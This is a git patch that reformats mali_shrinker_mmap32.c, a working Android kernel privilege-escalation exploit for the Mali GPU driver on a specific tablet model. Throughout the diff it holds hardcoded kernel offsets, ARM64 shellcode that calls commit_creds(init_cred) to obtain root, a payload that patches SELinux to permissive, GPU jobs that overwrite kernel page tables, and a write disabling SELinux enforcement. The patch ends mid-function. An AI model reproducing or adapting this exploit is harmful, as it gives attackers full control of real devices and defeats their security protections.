From 57aac974106ccd00f25e623f5f7e01170827306b Mon Sep 17 00:00:00 2001 From: yuu <46545607+mouseos@users.noreply.github.com> Date: Wed, 8 May 2024 13:54:59 +0900 Subject: [PATCH] =?UTF-8?q?=E6=96=87=E6=B3=95=E3=83=9F=E3=82=B9=E4=BF=AE?= =?UTF-8?q?=E6=AD=A3?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Signed-off-by: yuu <46545607+mouseos@users.noreply.github.com> --- mali_shrinker_mmap32.c | 560 ++++++++++++++++++++++------------------- 1 file changed, 305 insertions(+), 255 deletions(-) diff --git a/mali_shrinker_mmap32.c b/mali_shrinker_mmap32.c index 21bd8cf..8d3a4bd 100644 --- a/mali_shrinker_mmap32.c +++ b/mali_shrinker_mmap32.c @@ -6,23 +6,24 @@ #include #include #include +#include +#include #include #include -#include "stdbool.h" -#include -#include #include "mali.h" #include "mali_base_jm_kernel.h" #include "midgard.h" +#include "stdbool.h" #ifdef SHELL #define LOG(fmt, ...) printf(fmt, ##__VA_ARGS__) #else #include -#define LOG(fmt, ...) __android_log_print(ANDROID_LOG_ERROR, "exploit", fmt, ##__VA_ARGS__) +#define LOG(fmt, ...) \ + __android_log_print(ANDROID_LOG_ERROR, "exploit", fmt, ##__VA_ARGS__) -#endif //SHELL +#endif // SHELL #define MALI "/dev/mali0" @@ -30,13 +31,15 @@ #define BASE_MEM_ALIAS_MAX_ENTS ((size_t)24576) -#define PFN_DOWN(x) ((x) >> PAGE_SHIFT) +#define PFN_DOWN(x) ((x) >> PAGE_SHIFT) #define SPRAY_PAGES 25 #define SPRAY_NUM 64 -#define FLUSH_SIZE (0x1000 * 0x1000) //increasing = less 'out of memory' results but more crashes (default 0x1000 * 0x100) +#define FLUSH_SIZE \ + (0x1000 * 0x1000) // increasing = less 'out of memory' results but more + // crashes (default 0x1000 * 0x100) #define SPRAY_CPU 0 @@ -50,7 +53,7 @@ #define NUM_TRIALS 100 -#define KERNEL_BASE 0x40080000//raven's kernel load address +#define KERNEL_BASE 0x40080000 // raven's kernel load address #define OVERWRITE_INDEX 256 @@ -62,36 +65,39 @@ #define ADD_COMMIT_INDEX 3 - // TAB-A05-BD #define SELINUX_ENFORCING_neo 0x129d9bc -#define SEL_READ_HANDLE_UNKNOWN_neo 0x365d80 // 0xffffff80083e5d80 - 0xffffff8008080000 = 0x365d80 -#define SEL_READ_ENFORCE_neo 0x3653a8//0xffffff80083e53a8 - 0xffffff8008080000 = 0x3653A8//add -#define INIT_CRED_neo 0x11553f0 //0xffffff80091d53f0 - 0xffffff8008080000 = 0x11553F0 -#define COMMIT_CREDS_neo 0x5a120 //0xffffff80080da120 - 0xffffff8008080000 = 0x5a120 -#define ADD_INIT_neo 0x910FC000 +#define SEL_READ_HANDLE_UNKNOWN_neo \ + 0x365d80 // 0xffffff80083e5d80 - 0xffffff8008080000 = 0x365d80 +#define SEL_READ_ENFORCE_neo \ + 0x3653a8 // 0xffffff80083e53a8 - 0xffffff8008080000 = 0x3653A8//add +#define INIT_CRED_neo \ + 0x11553f0 // 0xffffff80091d53f0 - 0xffffff8008080000 = 0x11553F0 +#define COMMIT_CREDS_neo \ + 0x5a120 // 0xffffff80080da120 - 0xffffff8008080000 = 0x5a120 +#define ADD_INIT_neo 0x910FC000 #define ADD_COMMIT_neo 0x91048108 -//avc_denied.isra.4 -#define AVC_DENY_neo 0x35acc8//0xffffff80083dacc8 - 0xffffff8008080000 = 0x35ACC8;//add - +// avc_denied.isra.4 +#define AVC_DENY_neo \ + 0x35acc8 // 0xffffff80083dacc8 - 0xffffff8008080000 = 0x35ACC8;//add static uint64_t sel_read_handle_unknown = SEL_READ_HANDLE_UNKNOWN_neo; static uint64_t sel_read_enforce = SEL_READ_ENFORCE_neo; static uint64_t selinux_enforcing = SELINUX_ENFORCING_neo; -//added +// added static uint64_t avc_deny = AVC_DENY_neo; -static uint64_t selinux_enforcing_READ = 0X0; -static uint64_t selinux_enforcing_WRITE = 0X0; +static uint64_t selinux_enforcing_READ = 0X0; +static uint64_t selinux_enforcing_WRITE = 0X0; /* Overwriting SELinux to permissive strb wzr, [x0] mov x0, #0 ret */ -static uint32_t permissive[3] = {0x3900001f, 0xd2800000,0xd65f03c0}; +static uint32_t permissive[3] = {0x3900001f, 0xd2800000, 0xd65f03c0}; static uint32_t root_code[8] = {0}; -static uint32_t root_code2[8]={0}; +static uint32_t root_code2[8] = {0}; static uint32_t root_code_un[8] = {0}; static uint8_t jit_id = 1; @@ -101,19 +107,18 @@ static uint8_t* gpu_regions[SPRAY_NUM] = {0}; static int gpu_va_idx = 0; static void* flush_regions[FLUSH_REGION_SIZE]; static void* alias_regions[SPRAY_NUM] = {0}; -static uint64_t reserved[TOTAL_RESERVED_SIZE/RESERVED_SIZE]; - +static uint64_t reserved[TOTAL_RESERVED_SIZE / RESERVED_SIZE]; struct base_mem_handle { - struct { - __u64 handle; - } basep; + struct { + __u64 handle; + } basep; }; struct base_mem_aliasing_info { - struct base_mem_handle handle; - __u64 offset; - __u64 length; + struct base_mem_handle handle; + __u64 offset; + __u64 length; }; static int open_dev(char* name) { @@ -129,40 +134,41 @@ void setup_mali(int fd, int group_id) { if (ioctl(fd, KBASE_IOCTL_VERSION_CHECK, ¶m) < 0) { err(1, "version check failed\n"); } - //struct kbase_ioctl_set_flags set_flags = {group_id << 3}; + // struct kbase_ioctl_set_flags set_flags = {group_id << 3}; struct kbase_ioctl_set_flags set_flags = {0}; if (ioctl(fd, KBASE_IOCTL_SET_FLAGS, &set_flags) < 0) { err(1, "set flags failed\n"); - } + } } - void* setup_tracking_page(int fd) { - void* region = mmap(NULL, 0x1000, 0, MAP_SHARED, fd, BASE_MEM_MAP_TRACKING_HANDLE); + void* region = + mmap(NULL, 0x1000, 0, MAP_SHARED, fd, BASE_MEM_MAP_TRACKING_HANDLE); if (region == MAP_FAILED) { err(1, "setup tracking page failed"); } return region; } - void jit_init(int fd, uint64_t va_pages, uint64_t trim_level, int group_id) { struct kbase_ioctl_mem_jit_init init = {0}; init.va_pages = va_pages; init.max_allocations = 255; init.trim_level = trim_level; - //init.group_id = group_id; - //init.phys_pages = va_pages; + // init.group_id = group_id; + // init.phys_pages = va_pages; if (ioctl(fd, KBASE_IOCTL_MEM_JIT_INIT, &init) < 0) { err(1, "jit init failed\n"); } } -uint64_t jit_allocate(int fd, uint8_t atom_number, uint8_t id, uint64_t va_pages, uint64_t gpu_alloc_addr, uint64_t* gpu_alloc_region) { +uint64_t jit_allocate(int fd, uint8_t atom_number, uint8_t id, + uint64_t va_pages, uint64_t gpu_alloc_addr, + uint64_t* gpu_alloc_region) { struct base_jit_alloc_info info = {0}; struct base_jd_atom_v2 atom = {0}; - + info.id = id; info.gpu_alloc_addr = gpu_alloc_addr; info.va_pages = va_pages; @@ -180,7 +186,7 @@ uint64_t jit_allocate(int fd, uint8_t atom_number, uint8_t id, uint64_t va_pages if (ioctl(fd, KBASE_IOCTL_JOB_SUBMIT, &submit) < 0) { err(1, "submit job failed\n"); } - return *((uint64_t*)gpu_alloc_region); + return *((uint64_t*)gpu_alloc_region); } void jit_free(int fd, uint8_t atom_number, uint8_t id) { @@ -199,10 +205,10 @@ void jit_free(int fd, uint8_t atom_number, uint8_t id) { if (ioctl(fd, KBASE_IOCTL_JOB_SUBMIT, &submit) < 0) { err(1, "submit job failed\n"); } - } -void mem_flags_change(int fd, uint64_t gpu_addr, uint32_t flags, int ignore_results) { +void mem_flags_change(int fd, uint64_t gpu_addr, uint32_t flags, + int ignore_results) { struct kbase_ioctl_mem_flags_change change = {0}; change.flags = flags; change.gpu_va = gpu_addr; @@ -241,9 +247,11 @@ void mem_commit(int fd, uint64_t gpu_addr, uint64_t pages) { } } -uint64_t map_gpu(int mali_fd, unsigned int va_pages, unsigned int commit_pages, bool read_only, int group) { +uint64_t map_gpu(int mali_fd, unsigned int va_pages, unsigned int commit_pages, + bool read_only, int group) { union kbase_ioctl_mem_alloc alloc = {0}; - alloc.in.flags = BASE_MEM_PROT_CPU_RD | BASE_MEM_PROT_GPU_RD | BASE_MEM_PROT_CPU_WR; //| (group << 22); + alloc.in.flags = BASE_MEM_PROT_CPU_RD | BASE_MEM_PROT_GPU_RD | + BASE_MEM_PROT_CPU_WR; //| (group << 22); int prot = PROT_READ; if (!read_only) { alloc.in.flags |= BASE_MEM_PROT_GPU_WR; @@ -257,7 +265,8 @@ uint64_t map_gpu(int mali_fd, unsigned int va_pages, unsigned int commit_pages, uint64_t alloc_mem(int mali_fd, unsigned int pages) { union kbase_ioctl_mem_alloc alloc = {0}; - alloc.in.flags = BASE_MEM_PROT_CPU_RD | BASE_MEM_PROT_GPU_RD | BASE_MEM_PROT_CPU_WR | BASE_MEM_PROT_GPU_WR; + alloc.in.flags = BASE_MEM_PROT_CPU_RD | BASE_MEM_PROT_GPU_RD | + BASE_MEM_PROT_CPU_WR | BASE_MEM_PROT_GPU_WR; int prot = PROT_READ | PROT_WRITE; alloc.in.va_pages = pages; alloc.in.commit_pages = pages; @@ -274,7 +283,8 @@ void free_mem(int mali_fd, uint64_t gpuaddr) { uint64_t drain_mem_pool(int mali_fd) { union kbase_ioctl_mem_alloc alloc = {0}; - alloc.in.flags = BASE_MEM_PROT_CPU_RD | BASE_MEM_PROT_GPU_RD | BASE_MEM_PROT_CPU_WR | BASE_MEM_PROT_GPU_WR; // | (1 << 22); + alloc.in.flags = BASE_MEM_PROT_CPU_RD | BASE_MEM_PROT_GPU_RD | + BASE_MEM_PROT_CPU_WR | BASE_MEM_PROT_GPU_WR; // | (1 << 22); int prot = PROT_READ | PROT_WRITE; alloc.in.va_pages = POOL_SIZE; alloc.in.commit_pages = POOL_SIZE; @@ -299,36 +309,33 @@ void release_mem_pool(int mali_fd, uint64_t drain) { */ #define CPU_SETSIZE 1024 -#define __NCPUBITS (8 * sizeof (unsigned long)) -typedef struct -{ - unsigned long __bits[CPU_SETSIZE / __NCPUBITS]; +#define __NCPUBITS (8 * sizeof(unsigned long)) +typedef struct { + unsigned long __bits[CPU_SETSIZE / __NCPUBITS]; } cpu_set_t; #define CPU_SET(cpu, cpusetp) \ - ((cpusetp)->__bits[(cpu)/__NCPUBITS] |= (1UL << ((cpu) % __NCPUBITS))) -#define CPU_ZERO(cpusetp) \ - memset((cpusetp), 0, sizeof(cpu_set_t)) - -int migrate_to_cpu(int i) -{ - int syscallres; - pid_t pid = gettid(); - cpu_set_t cpu; - CPU_ZERO(&cpu); - CPU_SET(i, &cpu); - - syscallres = syscall(__NR_sched_setaffinity, pid, sizeof(cpu), &cpu); - if (syscallres) - { - return -1; - } - return 0; + ((cpusetp)->__bits[(cpu) / __NCPUBITS] |= (1UL << ((cpu) % __NCPUBITS))) +#define CPU_ZERO(cpusetp) memset((cpusetp), 0, sizeof(cpu_set_t)) + +int migrate_to_cpu(int i) { + int syscallres; + pid_t pid = gettid(); + cpu_set_t cpu; + CPU_ZERO(&cpu); + CPU_SET(i, &cpu); + + syscallres = syscall(__NR_sched_setaffinity, pid, sizeof(cpu), &cpu); + if (syscallres) { + return -1; + } + return 0; } void* flush(int spray_cpu, int idx) { migrate_to_cpu(spray_cpu); - void* region = mmap(NULL, FLUSH_SIZE, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0); + void* region = mmap(NULL, FLUSH_SIZE, PROT_READ | PROT_WRITE, + MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); if (region == MAP_FAILED) err(1, "flush failed"); memset(region, idx, FLUSH_SIZE); return region; @@ -337,10 +344,12 @@ void* flush(int spray_cpu, int idx) { void reserve_pages(int mali_fd, int pages, int nents, uint64_t* reserved_va) { for (int i = 0; i < nents; i++) { union kbase_ioctl_mem_alloc alloc = {0}; - alloc.in.flags = BASE_MEM_PROT_CPU_RD | BASE_MEM_PROT_GPU_RD | BASE_MEM_PROT_CPU_WR | BASE_MEM_PROT_GPU_WR; // | (1 << 22); + alloc.in.flags = BASE_MEM_PROT_CPU_RD | BASE_MEM_PROT_GPU_RD | + BASE_MEM_PROT_CPU_WR | + BASE_MEM_PROT_GPU_WR; // | (1 << 22); int prot = PROT_READ | PROT_WRITE; alloc.in.va_pages = pages; - alloc.in.commit_pages = pages; //alloc.in.commit_pages = 0; + alloc.in.commit_pages = pages; // alloc.in.commit_pages = 0; mem_alloc(mali_fd, &alloc); reserved_va[i] = alloc.out.gpu_va; } @@ -354,7 +363,8 @@ void map_reserved(int mali_fd, int pages, int nents, uint64_t* reserved_va) { uint64_t alias_sprayed_regions(int mali_fd) { union kbase_ioctl_mem_alias alias = {0}; - alias.in.flags = BASE_MEM_PROT_CPU_RD | BASE_MEM_PROT_GPU_RD | BASE_MEM_PROT_CPU_WR | BASE_MEM_PROT_GPU_WR; + alias.in.flags = BASE_MEM_PROT_CPU_RD | BASE_MEM_PROT_GPU_RD | + BASE_MEM_PROT_CPU_WR | BASE_MEM_PROT_GPU_WR; alias.in.stride = SPRAY_PAGES; alias.in.nents = SPRAY_NUM; @@ -367,16 +377,17 @@ uint64_t alias_sprayed_regions(int mali_fd) { alias.in.aliasing_info = (uint64_t)(&(ai[0])); mem_alias(mali_fd, &alias); printf("alias gpu va %llx\n", alias.out.gpu_va); -/* - uint64_t region_size = 0x1000 * SPRAY_NUM * SPRAY_PAGES; - void* region = mmap(NULL, region_size, PROT_READ, MAP_SHARED, mali_fd, alias.out.gpu_va); - if (region == MAP_FAILED) { - err(1, "mmap alias failed"); - } - alias_regions[0] = region; -*/ + /* + uint64_t region_size = 0x1000 * SPRAY_NUM * SPRAY_PAGES; + void* region = mmap(NULL, region_size, PROT_READ, MAP_SHARED, mali_fd, + alias.out.gpu_va); if (region == MAP_FAILED) { err(1, "mmap alias failed"); + } + alias_regions[0] = region; + */ for (int i = 0; i < SPRAY_NUM; i++) { - void* this_region = mmap64(NULL, 0x1000 * SPRAY_PAGES, PROT_READ, MAP_SHARED, mali_fd, (uint64_t)alias.out.gpu_va + i * 0x1000 * SPRAY_PAGES); + void* this_region = + mmap64(NULL, 0x1000 * SPRAY_PAGES, PROT_READ, MAP_SHARED, mali_fd, + (uint64_t)alias.out.gpu_va + i * 0x1000 * SPRAY_PAGES); if (this_region == MAP_FAILED) { err(1, "mmap alias failed %d\n", i); } @@ -403,41 +414,39 @@ int find_freed_idx(int mali_fd) { union kbase_ioctl_mem_query query = {0}; query.in.gpu_addr = gpu_va[j]; query.in.query = KBASE_MEM_QUERY_COMMIT_SIZE; - if (ioctl(mali_fd, KBASE_IOCTL_MEM_QUERY, &query) < 0) {err(1, "mem query error in find_freed_idx %d\n", j);} + if (ioctl(mali_fd, KBASE_IOCTL_MEM_QUERY, &query) < 0) { + err(1, "mem query error in find_freed_idx %d\n", j); + } if (query.out.value != SPRAY_PAGES) { - #if defined(__aarch64__) - LOG("jit_free commit: %d %lu\n", j, query.out.value); - #else - LOG("jit_free commit: %d %llu\n", j, query.out.value); +#if defined(__aarch64__) + LOG("jit_free commit: %d %lu\n", j, query.out.value); +#else + LOG("jit_free commit: %d %llu\n", j, query.out.value); freed_idx = j; - #en +#endif } } return freed_idx; } int find_pgd(int freed_idx, int start_pg) { - printf("find_pgd, freed_idx is %d start_pg is %d \n",freed_idx, start_pg); + printf("find_pgd, freed_idx is %d start_pg is %d \n", freed_idx, start_pg); uint64_t* this_alias = alias_regions[freed_idx]; - printf("find_pgd, freed_idx is %d start_pg is %d \n",freed_idx, start_pg); + printf("find_pgd, freed_idx is %d start_pg is %d \n", freed_idx, start_pg); for (int pg = start_pg; pg < SPRAY_PAGES; pg++) { - for (int i = 0; i < 0x1000/8; i++) { - uint64_t entry = this_alias[pg * 0x1000/8 + i]; - if ((entry & 0x443) == 0x443) { - return pg; - } + for (int i = 0; i < 0x1000 / 8; i++) { + uint64_t entry = this_alias[pg * 0x1000 / 8 + i]; + if ((entry & 0x443) == 0x443) { + return pg; + } } } return -1; } -uint32_t lo32(uint64_t x) { - return x & 0xffffffff; -} +uint32_t lo32(uint64_t x) { return x & 0xffffffff; } -uint32_t hi32(uint64_t x) { - return x >> 32; -} +uint32_t hi32(uint64_t x) { return x >> 32; } uint32_t write_adrp(int rd, uint64_t pc, uint64_t label) { uint64_t pc_page = pc >> 12; @@ -448,79 +457,83 @@ uint32_t write_adrp(int rd, uint64_t pc, uint64_t label) { int32_t immlo = (offset >> 12) & 0x3; uint32_t adpr = rd & 0x1f; adpr |= (1 << 28); - adpr |= (1 << 31); //op + adpr |= (1 << 31); // op adpr |= immlo << 29; adpr |= (immhi_mask & (immhi << 5)); return adpr; } -void fixup_root_shell(uint64_t init_cred, uint64_t commit_cred, uint64_t read_enforce, uint32_t add_init, uint32_t add_commit) { +void fixup_root_shell(uint64_t init_cred, uint64_t commit_cred, + uint64_t read_enforce, uint32_t add_init, + uint32_t add_commit) { printf("Run fixup_root_shell"); uint32_t init_adpr = write_adrp(0, read_enforce, init_cred); - //Sets x0 to init_cred + // Sets x0 to init_cred root_code[ADRP_INIT_INDEX] = init_adpr; root_code[ADD_INIT_INDEX] = add_init; - //Sets x8 to commit_creds + // Sets x8 to commit_creds root_code[ADRP_COMMIT_INDEX] = write_adrp(8, read_enforce, commit_cred); root_code[ADD_COMMIT_INDEX] = add_commit; - root_code[4] = 0xa9bf7bfd; // stp x29, x30, [sp, #-0x10] - root_code[5] = 0xd63f0100; // blr x8 - root_code[6] = 0xa8c17bfd; // ldp x29, x30, [sp], #0x10 - root_code[7] = 0xd65f03c0; // ret + root_code[4] = 0xa9bf7bfd; // stp x29, x30, [sp, #-0x10] + root_code[5] = 0xd63f0100; // blr x8 + root_code[6] = 0xa8c17bfd; // ldp x29, x30, [sp], #0x10 + root_code[7] = 0xd65f03c0; // ret printf("Run fixup_root_shell_un\n"); } -void fixup_root_shell2(uint64_t init_cred, uint64_t commit_cred, uint64_t avc_deny, uint32_t add_init, uint32_t add_commit) { - printf("Run fixup_root_shell2\n"); - uint32_t init_adpr = write_adrp(0, avc_deny, init_cred); - // Sets x0 to init_cred - root_code2[ADRP_INIT_INDEX] = init_adpr; - root_code2[ADD_INIT_INDEX] = add_init; - // Sets x8 to commit_creds - root_code2[ADRP_COMMIT_INDEX] = write_adrp(8, avc_deny, commit_cred); - root_code2[ADD_COMMIT_INDEX] = add_commit; - root_code2[4] = 0xa9bf7bfd; // stp x29, x30, [sp, #-0x10] - root_code2[5] = 0xd63f0100; // blr x8 - root_code2[6] = 0xa8c17bfd; // ldp x29, x30, [sp], #0x10 - root_code2[7] = 0xd65f03c0; // ret - printf("End fixup_root_shell2\n"); +void fixup_root_shell2(uint64_t init_cred, uint64_t commit_cred, + uint64_t avc_deny, uint32_t add_init, + uint32_t add_commit) { + printf("Run fixup_root_shell2\n"); + uint32_t init_adpr = write_adrp(0, avc_deny, init_cred); + // Sets x0 to init_cred + root_code2[ADRP_INIT_INDEX] = init_adpr; + root_code2[ADD_INIT_INDEX] = add_init; + // Sets x8 to commit_creds + root_code2[ADRP_COMMIT_INDEX] = write_adrp(8, avc_deny, commit_cred); + root_code2[ADD_COMMIT_INDEX] = add_commit; + root_code2[4] = 0xa9bf7bfd; // stp x29, x30, [sp, #-0x10] + root_code2[5] = 0xd63f0100; // blr x8 + root_code2[6] = 0xa8c17bfd; // ldp x29, x30, [sp], #0x10 + root_code2[7] = 0xd65f03c0; // ret + printf("End fixup_root_shell2\n"); } void fixup_root_shell_nop() { - - //Sets x0 to init_cred + // Sets x0 to init_cred root_code[ADRP_INIT_INDEX] = 0xD503201F; root_code[ADD_INIT_INDEX] = 0xD503201F; - //Sets x8 to commit_creds + // Sets x8 to commit_creds root_code[ADRP_COMMIT_INDEX] = 0xD503201F; root_code[ADD_COMMIT_INDEX] = 0xD503201F; - root_code[4] = 0xD503201F; // stp x29, x30, [sp, #-0x10] - root_code[5] = 0xD503201F; // blr x8 - root_code[6] = 0xD503201F; // ldp x29, x30, [sp], #0x10 - root_code[7] = 0xD503201F; // ret + root_code[4] = 0xD503201F; // stp x29, x30, [sp, #-0x10] + root_code[5] = 0xD503201F; // blr x8 + root_code[6] = 0xD503201F; // ldp x29, x30, [sp], #0x10 + root_code[7] = 0xD503201F; // ret } -void fixup_root_shell_un(uint64_t init_cred, uint64_t commit_cred, uint64_t read_handle_unknown, uint32_t add_init, uint32_t add_commit) { +void fixup_root_shell_un(uint64_t init_cred, uint64_t commit_cred, + uint64_t read_handle_unknown, uint32_t add_init, + uint32_t add_commit) { printf("Run fixup_root_shell_un\n"); uint32_t init_adpr = write_adrp(0, read_handle_unknown, init_cred); - //Sets x0 to init_cred + // Sets x0 to init_cred root_code_un[ADRP_INIT_INDEX] = init_adpr; root_code_un[ADD_INIT_INDEX] = add_init; - //Sets x8 to commit_creds - root_code_un[ADRP_COMMIT_INDEX] = write_adrp(8, read_handle_unknown, commit_cred); + // Sets x8 to commit_creds + root_code_un[ADRP_COMMIT_INDEX] = + write_adrp(8, read_handle_unknown, commit_cred); root_code_un[ADD_COMMIT_INDEX] = add_commit; - root_code_un[4] = 0xa9bf7bfd; // stp x29, x30, [sp, #-0x10] - root_code_un[5] = 0xd63f0100; // blr x8 - root_code_un[6] = 0xa8c17bfd; // ldp x29, x30, [sp], #0x10 - root_code_un[7] = 0xd65f03c0; // ret + root_code_un[4] = 0xa9bf7bfd; // stp x29, x30, [sp, #-0x10] + root_code_un[5] = 0xd63f0100; // blr x8 + root_code_un[6] = 0xa8c17bfd; // ldp x29, x30, [sp], #0x10 + root_code_un[7] = 0xd65f03c0; // ret printf("End fixup_root_shell_un"); } - - uint64_t set_addr_lv3(uint64_t addr) { uint64_t pfn = addr >> PAGE_SHIFT; - pfn &= ~ 0x1FFUL; + pfn &= ~0x1FFUL; pfn |= 0x100UL; return pfn << PAGE_SHIFT; } @@ -531,18 +544,20 @@ static inline uint64_t compute_pt_index(uint64_t addr, int level) { return vpfn & 0x1FF; } -void write_to(int mali_fd, uint64_t gpu_addr, uint64_t value, int atom_number, enum mali_write_value_type type) { +void write_to(int mali_fd, uint64_t gpu_addr, uint64_t value, int atom_number, + enum mali_write_value_type type) { uint64_t jc_region = map_gpu(mali_fd, 1, 1, false, 0); struct MALI_JOB_HEADER jh = {0}; jh.is_64b = true; jh.type = MALI_JOB_TYPE_WRITE_VALUE; - + struct MALI_WRITE_VALUE_JOB_PAYLOAD payload = {0}; payload.type = type; payload.immediate_value = value; payload.address = gpu_addr; - uint32_t* section = (uint32_t*)mmap64(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mali_fd, jc_region); + uint32_t* section = (uint32_t*)mmap64(NULL, 0x1000, PROT_READ | PROT_WRITE, + MAP_SHARED, mali_fd, jc_region); if (section == MAP_FAILED) { err(1, "mmap failed"); } @@ -563,7 +578,8 @@ void write_to(int mali_fd, uint64_t gpu_addr, uint64_t value, int atom_number, e usleep(10000); } -void write_data(int mali_fd, uint64_t data, uint64_t* reserved, uint64_t size, uint64_t value, enum mali_write_value_type type) { +void write_data(int mali_fd, uint64_t data, uint64_t* reserved, uint64_t size, + uint64_t value, enum mali_write_value_type type) { uint64_t data_offset = (data + KERNEL_BASE) % 0x1000; uint64_t curr_overwrite_addr = 0; for (int i = 0; i < size; i++) { @@ -574,23 +590,26 @@ void write_data(int mali_fd, uint64_t data, uint64_t* reserved, uint64_t size, u for (uint64_t addr = base; addr < end; addr += 0x1000) { uint64_t overwrite_addr = set_addr_lv3(addr); if (curr_overwrite_addr != overwrite_addr) { - #if defined(__aarch64__) - LOG("write_data overwrite addr : %llx %lx\n", overwrite_addr + data_offset, data_offset); - #else - LOG("write_data overwrite addr : %llx %llx\n", overwrite_addr + data_offset, data_offset); - #endif +#if defined(__aarch64__) + LOG("write_data overwrite addr : %llx %lx\n", + overwrite_addr + data_offset, data_offset); +#else + LOG("write_data overwrite addr : %llx %llx\n", + overwrite_addr + data_offset, data_offset); +#endif curr_overwrite_addr = overwrite_addr; - write_to(mali_fd, overwrite_addr + data_offset, value, atom_number++, type); + write_to(mali_fd, overwrite_addr + data_offset, value, atom_number++, + type); usleep(300000); } } } } - -void write_func(int mali_fd, uint64_t func, uint64_t* reserved, uint64_t size, uint32_t* shellcode, uint64_t code_size) { -printf("write_func called with code_size = %llu\n", code_size); -usleep(300000); +void write_func(int mali_fd, uint64_t func, uint64_t* reserved, uint64_t size, + uint32_t* shellcode, uint64_t code_size) { + printf("write_func called with code_size = %llu\n", code_size); + usleep(300000); uint64_t func_offset = (func + KERNEL_BASE) % 0x1000; uint64_t curr_overwrite_addr = 0; for (int i = 0; i < size; i++) { @@ -601,14 +620,18 @@ usleep(300000); for (uint64_t addr = base; addr < end; addr += 0x1000) { uint64_t overwrite_addr = set_addr_lv3(addr); if (curr_overwrite_addr != overwrite_addr) { - #if defined(__aarch64__) - LOG("write_func overwrite addr : %lx %llx\n", overwrite_addr + func_offset, func_offset); - #else - LOG("write_func overwrite addr : %llx %llx\n", overwrite_addr + func_offset, func_offset); - #endif +#if defined(__aarch64__) + LOG("write_func overwrite addr : %lx %llx\n", + overwrite_addr + func_offset, func_offset); +#else + LOG("write_func overwrite addr : %llx %llx\n", + overwrite_addr + func_offset, func_offset); +#endif curr_overwrite_addr = overwrite_addr; for (int code = code_size - 1; code >= 0; code--) { - write_to(mali_fd, overwrite_addr + func_offset + code * 4, shellcode[code], atom_number++, MALI_WRITE_VALUE_TYPE_IMMEDIATE_32); + write_to(mali_fd, overwrite_addr + func_offset + code * 4, + shellcode[code], atom_number++, + MALI_WRITE_VALUE_TYPE_IMMEDIATE_32); } usleep(300000); } @@ -629,13 +652,12 @@ int run_enforce() { return result; } - int run_enforce_write() { char result = '0'; sleep(3); - LOG("run_enforce_write before open %d\n", result); + LOG("run_enforce_write before open %d\n", result); int enforce_fd = open("/sys/fs/selinux/enforce", O_WRONLY); - LOG("run_enforce_write before write\n"); + LOG("run_enforce_write before write\n"); write(enforce_fd, &result, 1); LOG("run_enforce_write before close\n"); close(enforce_fd); @@ -648,7 +670,7 @@ int run_enforce_un() { printf("run_enforce_un: before sleep\n"); sleep(3); printf("run_enforce_un: after sleep\n"); - //int enforce_fd = open("/sys/fs/selinux/deny_unknown", O_RDONLY); + // int enforce_fd = open("/sys/fs/selinux/deny_unknown", O_RDONLY); int enforce_fd = open("/sys/fs/selinux/reject_unknown", O_RDONLY); printf("run_enforce_un: open\n"); read(enforce_fd, &result, 1); @@ -659,87 +681,111 @@ int run_enforce_un() { return result; } - void select_offset() { char fingerprint[256]; int len = __system_property_get("ro.build.fingerprint", fingerprint); LOG("fingerprint: %s\n", fingerprint); -/* - if (!strcmp(fingerprint, "benesse/TAB-A05-BD/TAB-A05-BD:9/01.00.000/01.00.000:user/release-keys")) { - selinux_enforcing = SELINUX_ENFORCING_neo; - sel_read_handle_unknown = SEL_READ_HANDLE_UNKNOWN_neo; - //fixup_root_shell(INIT_CRED_neo, COMMIT_CREDS_neo, SEL_READ_HANDLE_UNKNOWN_neo, ADD_INIT_neo, ADD_COMMIT_neo); - fixup_root_shell_un(INIT_CRED_neo, COMMIT_CREDS_neo, SEL_READ_HANDLE_UNKNOWN_neo, ADD_INIT_neo, ADD_COMMIT_neo); - return; - } -*/ - + /* + if (!strcmp(fingerprint, + "benesse/TAB-A05-BD/TAB-A05-BD:9/01.00.000/01.00.000:user/release-keys")) { + selinux_enforcing = SELINUX_ENFORCING_neo; + sel_read_handle_unknown = SEL_READ_HANDLE_UNKNOWN_neo; + //fixup_root_shell(INIT_CRED_neo, COMMIT_CREDS_neo, + SEL_READ_HANDLE_UNKNOWN_neo, ADD_INIT_neo, ADD_COMMIT_neo); + fixup_root_shell_un(INIT_CRED_neo, COMMIT_CREDS_neo, + SEL_READ_HANDLE_UNKNOWN_neo, ADD_INIT_neo, ADD_COMMIT_neo); return; + } + */ + if (1) { -// avc_deny = 0x321C64; // avc_denied.isra.6 -// selinux_enforcing_READ = 0x32CC2C ; // t sel_read_enforce -// selinux_enforcing_WRITE = 0x32E01C ; // t sel_read_enforce + // avc_deny = 0x321C64; // avc_denied.isra.6 + // selinux_enforcing_READ = 0x32CC2C ; // t sel_read_enforce + // selinux_enforcing_WRITE = 0x32E01C ; // t sel_read_enforce selinux_enforcing = SELINUX_ENFORCING_neo; sel_read_handle_unknown = SEL_READ_HANDLE_UNKNOWN_neo; - //fixup_root_shell(0x12253F0, 0x5B328, selinux_enforcing_WRITE, 0x910FC000, 0x910CA108); -// fixup_root_shell(0x12253F0, 0x5B328, selinux_enforcing_READ, 0x910FC000, 0x910CA108); - //fixup_root_shell_un(INIT_CRED_neo, COMMIT_CREDS_neo, sel_read_handle_unknown, ADD_INIT_neo, ADD_COMMIT_neo); - fixup_root_shell(INIT_CRED_neo, COMMIT_CREDS_neo, sel_read_enforce, ADD_INIT_neo, ADD_COMMIT_neo); - fixup_root_shell2(INIT_CRED_neo, COMMIT_CREDS_neo,AVC_DENY_neo,ADD_INIT_neo, ADD_COMMIT_neo); + // fixup_root_shell(0x12253F0, 0x5B328, selinux_enforcing_WRITE, 0x910FC000, + // 0x910CA108); + // fixup_root_shell(0x12253F0, 0x5B328, selinux_enforcing_READ, + // 0x910FC000, 0x910CA108); + // fixup_root_shell_un(INIT_CRED_neo, COMMIT_CREDS_neo, + // sel_read_handle_unknown, ADD_INIT_neo, ADD_COMMIT_neo); + fixup_root_shell(INIT_CRED_neo, COMMIT_CREDS_neo, sel_read_enforce, + ADD_INIT_neo, ADD_COMMIT_neo); + fixup_root_shell2(INIT_CRED_neo, COMMIT_CREDS_neo, AVC_DENY_neo, + ADD_INIT_neo, ADD_COMMIT_neo); return; } err(1, "unable to match build id\n"); } void cleanup(int mali_fd, uint64_t pgd) { - 